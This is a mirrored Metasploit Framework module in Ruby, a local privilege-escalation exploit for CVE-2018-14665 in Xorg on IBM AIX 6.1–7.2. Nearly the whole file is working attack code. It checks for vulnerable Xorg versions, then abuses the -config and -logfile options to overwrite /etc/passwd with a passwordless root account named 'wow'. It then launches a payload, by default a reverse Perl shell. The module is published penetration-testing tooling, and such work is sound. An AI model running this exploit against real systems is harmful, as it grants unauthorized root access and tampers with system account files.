CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/aix/local/xorg_x11_server.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = GreatRanking
8
9
include Msf::Post::File
10
include Msf::Exploit::FileDropper
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'Xorg X11 Server Local Privilege Escalation',
15
'Description' => %q(
16
WARNING: Successful execution of this module results in /etc/passwd being overwritten.
17
18
This module is a port of the OpenBSD X11 Xorg exploit to run on AIX.
19
20
A permission check flaw exists for -modulepath and -logfile options when
21
starting Xorg. This allows unprivileged users that can start the server
22
the ability to elevate privileges and run arbitrary code under root
23
privileges.
24
25
This module has been tested with AIX 7.1 and 7.2, and should also work with 6.1.
26
Due to permission restrictions of the crontab in AIX, this module does not use cron,
27
and instead overwrites /etc/passwd in order to create a new user with root privileges.
28
All currently logged in users need to be included when /etc/passwd is overwritten,
29
else AIX will throw 'Cannot get "LOGNAME" variable' when attempting to change user.
30
The Xorg '-fp' parameter used in the OpenBSD exploit does not work on AIX,
31
and is replaced by '-config', in conjuction with ANSI-C quotes to inject newlines when
32
overwriting /etc/passwd.
33
),
34
'Author' =>
35
[
36
'Narendra Shinde', # Discovery and original FreeBSD exploit
37
'Zack Flack <dzflack[at]gmail.com>' # Metasploit module and original AIX exploit
38
],
39
'License' => MSF_LICENSE,
40
'DisclosureDate' => '2018-10-25',
41
'Notes' =>
42
{
43
'SideEffects' => [ CONFIG_CHANGES ]
44
},
45
'References' =>
46
[
47
['CVE', '2018-14665'],
48
['URL', 'https://www.securepatterns.com/2018/10/cve-2018-14665-xorg-x-server.html'],
49
['URL', 'https://aix.software.ibm.com/aix/efixes/security/xorg_advisory3.asc'],
50
['URL', 'https://github.com/dzflack/exploits/blob/master/aix/aixxorg.pl'],
51
['EDB', '45938']
52
],
53
'Platform' => ['unix'],
54
'Arch' => [ARCH_CMD],
55
'SessionTypes' => ['shell'],
56
'Payload' => {
57
'Compat' => {
58
'PayloadType' => 'cmd',
59
'RequiredCmd' => 'perl'
60
}
61
},
62
'DefaultOptions' => {
63
'Payload' => 'cmd/unix/reverse_perl'
64
},
65
'Targets' =>
66
[
67
['IBM AIX Version 6.1', {}],
68
['IBM AIX Version 7.1', {}],
69
['IBM AIX Version 7.2', {}]
70
],
71
'DefaultTarget' => 1))
72
73
register_options(
74
[
75
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
76
]
77
)
78
end
79
80
def check
81
xorg_path = cmd_exec('command -v Xorg')
82
if !xorg_path.include?('Xorg')
83
print_error('Could not find Xorg executable')
84
return Exploit::CheckCode::Safe
85
end
86
87
ksh93_path = cmd_exec('command -v ksh93')
88
if !ksh93_path.include?('ksh')
89
print_error('Could not find Ksh93 executable')
90
return Exploit::CheckCode::Safe
91
end
92
93
if !xorg_vulnerable?
94
print_error('Xorg version is not vulnerable')
95
return Exploit::CheckCode::Safe
96
end
97
98
return Exploit::CheckCode::Appears
99
end
100
101
def exploit
102
status = check
103
104
if status == Exploit::CheckCode::Safe
105
fail_with(Failure::NotVulnerable, '')
106
end
107
108
if !writable?(datastore['WritableDir'])
109
fail_with(Failure::BadConfig, "#{datastore['WritableDir']} is not writable")
110
end
111
112
xorg_path = cmd_exec('command -v Xorg')
113
ksh93_path = cmd_exec('command -v ksh93')
114
115
xorg_payload = generate_xorg_payload(xorg_path, ksh93_path, datastore['WritableDir'])
116
xorg_script_path = "#{datastore['WritableDir']}/wow.ksh"
117
upload_and_chmodx(xorg_script_path, xorg_payload)
118
119
passwd_backup = "#{datastore['WritableDir']}/passwd.backup"
120
print_status("Backing up /etc/passwd to #{passwd_backup}")
121
cmd_exec("cp /etc/passwd #{passwd_backup}")
122
register_file_for_cleanup(passwd_backup)
123
124
print_status("Executing #{xorg_script_path}")
125
cmd_exec(xorg_script_path)
126
print_status('Checking if we are root')
127
128
if root?
129
shell_payload = %(#!#{ksh93_path}
130
#{payload.encoded}
131
)
132
shell_script_path = "#{datastore['WritableDir']}/wowee.ksh"
133
upload_and_chmodx(shell_script_path, shell_payload)
134
135
print_status('Executing shell payload')
136
cmd_exec("#{ksh93_path} -c \"echo #{shell_script_path} | su - wow &\"")
137
138
print_status('Restoring original /etc/passwd')
139
cmd_exec("su - wow -c \"cp #{passwd_backup} /etc/passwd\"")
140
else
141
fail_with(Failure::PayloadFailed, '')
142
end
143
end
144
145
def generate_xorg_payload(xorg_path, ksh93_path, writabledir)
146
passwd_file = read_file('/etc/passwd')
147
passwd_array = passwd_file.split("\n")
148
149
print_status('Retrieving currently logged in users')
150
users = cmd_exec('who | cut -d\' \' -f1 | sort | uniq')
151
users << "\n"
152
users_array = users.split("\n")
153
154
logged_in_users = ''
155
if !users_array.empty?
156
users_array.each do |user|
157
user << ':'
158
passwd_array.each do |line|
159
if line.index(user) == 0
160
logged_in_users << '\n'
161
logged_in_users << line
162
end
163
end
164
end
165
end
166
167
passwd_data = "$'#{logged_in_users}\\nwow::0:0::/:/usr/bin/ksh\\n#'"
168
169
subdir_count = writabledir.count('/')
170
relative_passwd = '../' * subdir_count + '../../etc/passwd'
171
172
return %(#!#{ksh93_path}
173
#{xorg_path} -config #{passwd_data} -logfile #{relative_passwd} :1 > /dev/null 2>&1
174
)
175
end
176
177
def xorg_vulnerable?
178
version = cmd_exec('lslpp -L | grep -i X11.base.rte | awk \'{ print $2 }\'')
179
print_status("Xorg version is #{version}")
180
semantic_version = Rex::Version.new(version)
181
182
vulnerable_versions = [
183
['6.1.9.0', '6.1.9.100'],
184
['7.1.4.0', '7.1.4.30'],
185
['7.1.5.0', '7.1.5.31'],
186
['7.2.0.0', '7.2.0.1'],
187
['7.2.1.0', '7.2.1.0'],
188
['7.2.2.0', '7.2.2.0'],
189
['7.2.3.0', '7.2.3.15']
190
]
191
192
vulnerable_versions.each do |version_pair|
193
if semantic_version >= Rex::Version.new(version_pair[0]) &&
194
semantic_version <= Rex::Version.new(version_pair[1])
195
return true
196
end
197
end
198
199
return false
200
end
201
202
def root?
203
id_output = cmd_exec('su - wow -c "id"')
204
205
if id_output.include?('euid=0') || id_output.include?('uid=0')
206
print_good('Got root!')
207
return true
208
end
209
210
print_error('Not root')
211
false
212
end
213
214
def upload_and_chmodx(path, data)
215
print_status("Writing to #{path}")
216
rm_f(path)
217
write_file(path, data)
218
cmd_exec("chmod 0555 '#{path}'")
219
220
register_file_for_cleanup(path)
221
end
222
end
223
224